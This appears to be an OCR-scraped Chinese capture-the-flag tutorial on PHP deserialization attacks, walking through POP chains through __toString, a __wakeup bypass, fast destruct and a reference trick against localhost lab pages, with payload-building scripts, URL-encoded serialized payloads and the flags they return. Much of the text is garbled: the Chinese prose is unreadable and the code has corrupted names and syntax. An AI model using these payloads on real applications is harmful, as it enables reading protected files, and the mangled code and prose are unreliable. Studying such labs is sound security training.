>get_file I Show->_show RILAEEENSZ {4, {BE show->_show BREIARTDIFHIL flag ., Ak, Read-
\>get_file FEPOPHHIESED

4 FEYN(Eft A& Read->get_file 38Z get_file FAIAIL, Show->__tostring HFEEEE



REFEHZ $content FYEM— NI RIAIKES :

$content € $this->classl->get_file($this->var);
AR

$this->classl=new Read;

$this->var="'flag.php'

BIETfihA get_file, HEF| flag.php BIAS (base644RAEHETH)
5. TRV 2 A EAAIX A show->__tostring 178/ RFESE —C1REIBBFEHE IR
ESLER, LARBERSHREY $Sconfig->$sid; , BERTLAMIHE DA HR(E:

$config=new Show;
$sid="__toString"';



SRR
KIS IRAD :

<?php
class Read{

}

class Show{
public $source;
public $var = 'flag.php';
public $classl;

}

$w = new Show;

$w->classl = new Read;
echo(urlencode(sepialize($w)));

?>




if (preg match(”/gopher |http|file|ftp|https|dict|\.\./i”, $this—>source)) {
echo “hacker”;

i)ublic function _ get($key) {
$function=§this—>$key;
$this—> {$key} O ;

if(isset ($_GET[ sid’ 1))
{

$sid=$_GET[ sid’ ];
$config=unserialize ($_GET[ config’ ]);
$config—>$sid;

else
{

$show =new Show(’ index2.php’);

$show—>_show () ; e BIBasec AR Al LR
| ZmxhZ3t3angtamltbXl9 <

K [0 | Heme: o< Network Performance Memory Application  Li Recorder _HackBar_ | Requestly

LOAD - SPLIT  EXECUTE TEST- SQLI~ XSS~ LFl~ SSRF~  SSTI~  SHELL~  ENCODING -  HASHING -  CUSTOM -

URL
http://127.0.6.1/pop.php?
config=0%3A4%3A%22Show%22%3A3%3A%7Bs%3A6%3A%22s0urce%22%3BN%3Bs%3A3%3A%22var%22%3Bs%3A8%3A%22f1ag . php%22%3Bs%3A6%3A%22c1ass1%22%3B0%3A4%3A%22Read%22%3AB%3A%7B%7D%7D&sid=__toString

@ Use POST method MODIFY HEADER

BHRRIX:

BT _testring 2EAITE, EAILIBMIMA, AR IENRIANTRAER" BARNTESK
(ERFHFTERAMTS, AR, BATLARA __tostring 7

ARRAF preg_match REHISEFEFZFTER, ALLE

$this->source=Show;//thisui & M aIHIZE, KA S 4m ¥ Show:, H A —4-ShowZiffisources
AR N 7 — A~ Showk

SRR

<?php
class Read{

3

class Show{
public $sourcef
pubTlic $varg= “filag.php';
pubTic $cTassd;

}
$r
$s
$s->classl = $r;
$s2 = new Show;

new Read();

new Show;

$s2->source = $s;
echo(urlencode(serialize($s2)));

?>

RER:

AATBESTAS2?



@‘
4
EHEES s WABRES s2 W FE: ¢ \

Sl c S |
) ﬁ ,\\(Q
> N

* \ . 0\
ﬂsﬁzr&bmammmuﬂ Flag TER? \

BREIEBNRFIMECT s2 7:

* 0:4:"Show":3:{s:6:"source";0:4:"Show":3: *
{s:6:"source";N;s:3:"var";s:8:"flag.php";s:6:classl¥;0:4:"Read":0:
0 {}}5:3:"var";s:8:"f1ag.php";s:6:"c1a®
2 4
3 o



A=/

..\@@ ..\\@‘
..\\@@ ..\\@@
..\\@@ \\é@
& &



FFiapreg_matchifE

U]

Gl

A BRI AR ST

PRTEEIRIE, HEA
__toString /5%




I

PITEREMIEHHEE

ERENANI R F &R

RS IENLECTE

TR rER_EITHRT U ICEL

IR [EILECEER

FTUASBERENRR, MEKTHi 7 FIKnRE, MRSHAN _tostring XNEARTTIEER

[oHAE R A g

BRI R RIS SUFY AR, EESERIINEIRFENFANESR, KRSRT—
e REHIERY

i=FEE:
1.5889 __wakeupQ

2. BB (fast destruct) : ST ERREN, EBIHFT_destruct

g wakeup


af://n1358

.Q

3

HF{ERunserialize\REE I BMftA __wakeup , AT 5T __wakeup

MBS NEET __wakeup ik, SEMARA:

php5.0.0 ~ php5.6.25
php7.0.0 ~ php7.0.10

LY a)ris

/ /R AEF SR

0:4:"Girl1":2:{s:4:"name";s:6:"/N3%E";s:3:"age";s:2:"18";}

/ES:

0:4:"Gir1":3:{s:4:"

/ /R S B

(Edp g el

¢
= :%gz}%ﬁﬂﬁ\%&, b

// RSP II

0:4:"Gir1":2:{s:4:"name";s:6:"/h3%";s:3:"age";s:2:"

// HEINESLE L)

0:4:"Gir1":2:{s:4:"name";s:6:"/h¥%";s:3:"age"; :
//HEURAME S B AR B A, AR P S *@

tRiEtTE

BREHTIORIBIE: Hphpi
2, BTRANE—

N ;
BRI, ?&%ﬁ%a

EAES:

i

2. MREE R}

WA F RIS
@ BHFREIMERITEL

=6/
EVETER

N

L 4

N

;S:6:"/N3E";s:3:"age";s:2:"18";}

S

4

‘r& I, BILURISHUR

S REFILAT, «%wa‘gzaﬁ'rst@&\?@m, BBA _ wakeup JEEAEER. Han:

BT FRTERES, PHPEITFE 4L, IRATLURFFILALN, B
FIWCFRTER, RZMRANER, FTLAPHPIFX MEF IR

B, ABARMRA T EAINTITSIA (__destru

%&a@il __destruct AHgElflag, 1R _destruct EAERSIE @mﬁuwﬁ

$/5) . _Mestruct ZHIRHTLREE, HTEHTRLSERL, HES

% __destruct B

&



<?php * \
class DemoX{ \
protected $user;

protected $sex;
function __construct(){

$this->user = "guest";

$this->sex = "male";
b X
function _wakeup({

$this->user = "Guest";

$this->sex = "female";® \ 00

: N
function __tostring({ \ \

return "<br>you are " . $this->user . ", your sex is . $this->sex .

<br>";
}
function __
{
ec
}0

} e Q.,b ¢

class Demo2{ ¢ \
private $fffl4g; \
function __construct($file){

$this->fffl4g = $file;
}
function __tostring(Q{
return file_get_contents($this->fff :

}
if(lisset($_GET['poc'])){ *

highlight_file(__FILe_); ¢ \ . \
} \
else{

$user = unserialize($_GET['poc']);

S A\



@ 127.0.0.1/pop2.php

£ [OCTF [0 DackWeb [ GitHubles [0 IB% [0 aosiges gw () GitHub

{?php

class DemoX{
protected $user;
protected $sex;
function  construet () {

$this—>user = “guest”;

$this—>sex = “male”;
function  wakeup() {

$this—>user = “Guest”;

$this—>sex = “female”;
function _ toString()}{

return “<br>you are ” . S$this~duser . ”, vour sex is ” . $this—sex . “<r>”;
function __destruct()

[
L

echo $this:

class Demo2{
private $fffldg;
function _ construct(@§file)lf
$this—fffldg = $file;

function oSthing () {

returnh file get contents($this—>fffldg) ;

;lf(] id5et ($UGET Mpoc” 1)) {
highlight_file(_ file ):

elsef
Suser = unserialize($_GET[ poc’]);
ﬁg lu\
1.BBffpopHERYERR: unserialize($_GET['poc'W) IATLESIXESE

2. BBHfpopHEAYLR s pemo2 FRY __fosthingd T AERHIT—MEEE

IZUNEERITRIREHES:
DemoX*EFl__[ =S

1. @i tostring Q1A A, DemoXix MK Huseroif &sex?
T LA I X BT AR E F $us e rEk A $sex A R E N sL 6 ikDemo2, i HiDemo2ix 4N

2 AR A EARATIX S__toString ii?

A LAE ZIfEDEmOXiX MR A A __destructiX MEARTTE, AR BIERBFRMAR, A< unserialize
Al DAl 34 _SdestructBEAR T, MIMEE T echotiXSDemoXHh A fIN S it ks 5t % 24 il 7
FFERFATHRE S NIl R 2__toStringiX AMEEAR I %

3. kT 1EDemo2 T EM AT 47

ANEEM L REE, fEDemoX B __toString kW HTRATE EH$this->useriit{i ynew Demo2,
Sl T Demo2ix N, LA MMk AT . B — A PHER, RSB — AT, Dk T Demo2
WHI__toStringiXMEARTTE PHP E 3 3%t 3 7175 B LA

B pEfERRAEN

—4. DemoX->__destruct() / /B Demox->__wakeup ()
—: DemoX->__tostring()
=: Demo2->__toString()

oW



13i&payload:

payloadi/&fi3:

<?php
class Demox{
protected $user;
protected $sex;
function _construct(){
$this->user = new Demo2;
$this->sex = "man";

3
class Demo2{
private $fffldgy= "flag.php";

$w = new DPemoX;
$j ="sertalize($w);
echo®rTencode($3);

INRIETIEE]:

0%3A5%3A%22DemoX%22%3A2%3A%7BS%3A7%3A%22%00%2A%00use r%22%3B0%3A5%3A%22Demo2%2 2%3A
1%3A%7Bs%3A13%3A%22%00Demo2%00ff149%22%3Bs%3A8%3A%22 T 1ag . php%22%3B%7Ds%3A6%3A%22
%00%2A%00sex%22%3Bs%3A3%3A%22man%22%3B%7D

HiTesRE:

K [0 Hements rces Network Performance Memory  Application  Lighthous: ler _HackBar equestly B @ i

LOAD ~ SPLIT  EXECUTE  TEST-  SQLI~ S - ~ SSRF~  SSTI~  SHELL~  ENCODING -  HASHING -~  CUSTOM - MODE - THEME ~

URL
http://127.8.8.1/pop2.php?

Poc=0%3A5%3A%22DemoX%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00use r%22%3B0%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A13%3A%22%08Demo2%00f f 149%22%3Bs%3A8%3A%22f1ag . php%22%3B%7Ds%3A6%3A%22%00%2A%005ex%22%3Bs%3A3%3A
%22man%22%3B%7D

@™ Use POST method MODIFY HEADER

HFEBSE unserialize XNMRFFINESE, SBHIMAZ __wakeup XNMNEANTGIE, FRLAGRE AR
7

FEREENRFIIGER, EREESRENGEIT
BRPLRIERIESN:
0%3A5%3A%22DemoX%2 2%3A3%3A%7 Bs%3A7%3A%R 2%00%2A%00uS e r%2 2%3B0%3A5%3A%2 2Demo2%2 2%3A

1%3A%7Bs%3A13%3A%22%00Demo2%00f 1 149%22%3Bs%3A8%3A%22T1ag. php%22%3B%7Ds%3A6%3A%2 2
%009%2A%00sex%22%3Bs%3A3%3A%22man%22%3B%7D



Notice: unserialize(): Unexpected end of serialized data in E:\PHPstudy\PHPTutoria\WWW\pop2.php on line 34

you are flag{wjx-jimmy}, your sex is man «—————— B XA FERIRENEIR

Notice: unserialize(): Error at offset 104 of 105 bytes in E:\PHPstudy\PHPTutoria\WWW\pop2.php on line 34

L ources Network Performance  Memory  Application _Lightl corder_Had % Requestly 81 @ i x

LOAD ~ SPLIT  EXECUTE TEST-~ SQLI~ XSS~ LFI~ SSRF- SSTI~ SHELL~ ENCODING -  HASHING -  CUSTOM - MODE - THEME ~

URL

http://127.0.8.1/pop2.php?

Poc=0%3A5%3A%22DemoX%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00user%22%3B0%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A13%3A%22%00Dem02%00  f f149%22%3Bs%3A8%3A%22f 1ag . php%22%3B%7Ds%3A6%3A%22%00%2A%005ex%22%3Bs%3A3%3A
%22man%22%3B%7D

@™ Use POST method MODIFY HEADER

(5 [ 2008 2P SE N K MRS T BEIA S| St wak eu pEE A v Name Value

sec-ch-ua ~ "Google Chrome”;

Name

ikt
LA & HSTLINTIRSIA, XUTOESFaoiEs. Hi:

$a=&$b;

Xt $a RESKEE Sb RYEZMN, WIRME A%

245
RS

<?php

$a = 1;

$a = &$b;
echo "HH—H#";
echo $a;

echo "\n";

$b = 2;

echo "I _H";
echo "\n";
echo $b;

echo "Xn'";
echo $a;

echo "\n'y

$a = 3;

echo "ZHE=#";
echo "\n";
echo $a;

echo $b;


af://n1410

EEMEREME, SaflsbREXTR—HR, FERSaENEEERSLIERE, WA MR —HF
MER, BAMIBIMER—IZEA, REERE—ARE—H#, FENESaERNESbEREENX
PMEEEMEN

=ES

MR

<?php
class Seri{
publi€ $alkize;
pubTic function __construct($alize) {
$this->alize = $alize;
}
public function __destruct(){
$this->alize->getFlag(Q);

}

3

class Alize{
public $f;
public $t1;
public $t2;

function __construct($file){
echo "Another construction! !
$this->f = $file;
$this->tl = $this->t2 = md5(rand(1,10000));



}
pubTlic function getFlag(){
$this->t2 = md5(rand(1,10000));
echo $this->tl1;
echo $this->t2;
if($this->tl === $this->t2)
{
if(isset($this->f)){
echo @highlight_file($this->f,true);
3
} else {
echo

no";

3

$p = $_GET['p'];

if (isset($p)) {
$p = unsenialize($p);

} else {
show.(source(__FILE_ );
//4eche '""NONONO";

& G @ 127.0.0.1/zhi-zhen.php

B OO #sme [0 oF [ DakWeb [O GitHubliis [0 TE¥x [0 Sorums g () GitHub 5 M

<?php
class Serif{
public $alize:

public funetion _ construct($alize) |
$this—ralize = Salize;
public function _ destruct(){

$this—alize—>getFlag() ;

class Alize{
public §f;
public $tl:
public $t2:
function _ conétruet (3file) {
echo (Another “Construction!!”;
$thissof = Sfile:
§this—>tl = $this—>t2 = md5(rand(1, 10000));

publfe, fumction getFlag(){

$this—>t2 = mdH(rand(1, 10000)) ;
echo $this—>tl;
echo $this—>t2;
if($this—>tl == §this—>t2)
I
L

if (isset (§this—>f)) {

echo @highlight file($this—>f, téue) ;

else |
v
echo no ;

Sp = S GET[p’1:
if  (isset($p))
Sp = unserialize($p);
else {
show_source (_ FILE_ ) ;

echo NONO



fARRRTBRR:

1. B 5CHE I HIRISLER:
2. BSERGHILAIESE: Alize->getFlagO
3. RIE seri iIXPMEFRY __destruct %07&75‘

RIEATLLE $this->alize->getFlag (’g’ ‘N

$p = $_GET['p']

KEMREASLAIL, BASRELEETE
getFlag Ji%

4 FE IR EAPAIATHIMT R

$this->t2 = md ,0000))

—AHENLE I 1~10000 4

if($thi
—* &5 XHIHETHI, IR SR T
ﬁ%fﬁ

HIreA 2 455 Wiy

if(isset($this->f))
isset HAaaXiX AN FRIME T K W B A NS

)

ERFHRESSHINXE, FJLLRBEHAR, 15 st

o

4 POCﬁ'JEZ P 0\
pEER \
<?php

class Seri{
pubTlic $alize;

)

}

class Alize

{
publi€. $ 'flag.php';
3\1;
p:E-S $t2;

3

$a = new Alize();

$a->tl = &$a->t2;

$b = new Seri(Q);

$b->alize = $a;

echo urlencode(serialize($b));
?>

)
.0

S
I\A

is->new Alize->getFlag() EM— % Alize XA
Tize XNEPREARTIE __construct , MmAZIER

)

VARZE getFlag XML

N

)

' 4
44\’%%%% AR HEAT T
tﬁgﬁﬁ—ﬁa@{a



mE:

0%3A4%3A%22Ser1%22%3A1%3A%7Bs%3A5%3A%22a112e%22%3BO%3A5%3A%22A112e%22%3A3%3A%7BS%
3AL%3A%221%22%3Bs%3A8%3A%22F1ag. php%22%3Bs%3A2%3A%22E1%22%3BN%3BS%3A2%3A%22t2%22%
3BR%3A4%3B%7D%7D

© 127.00.1/zhizhen.php?

[ CTF 3 DarkWeb [ GitHubizs [0 IEE [ 3% 2 Qcitiub [ F

21186d7b1482412ab14f0332b8aeel1921186d7b1482412ab14f0332b8aee119 flag{wjx-jimmy}
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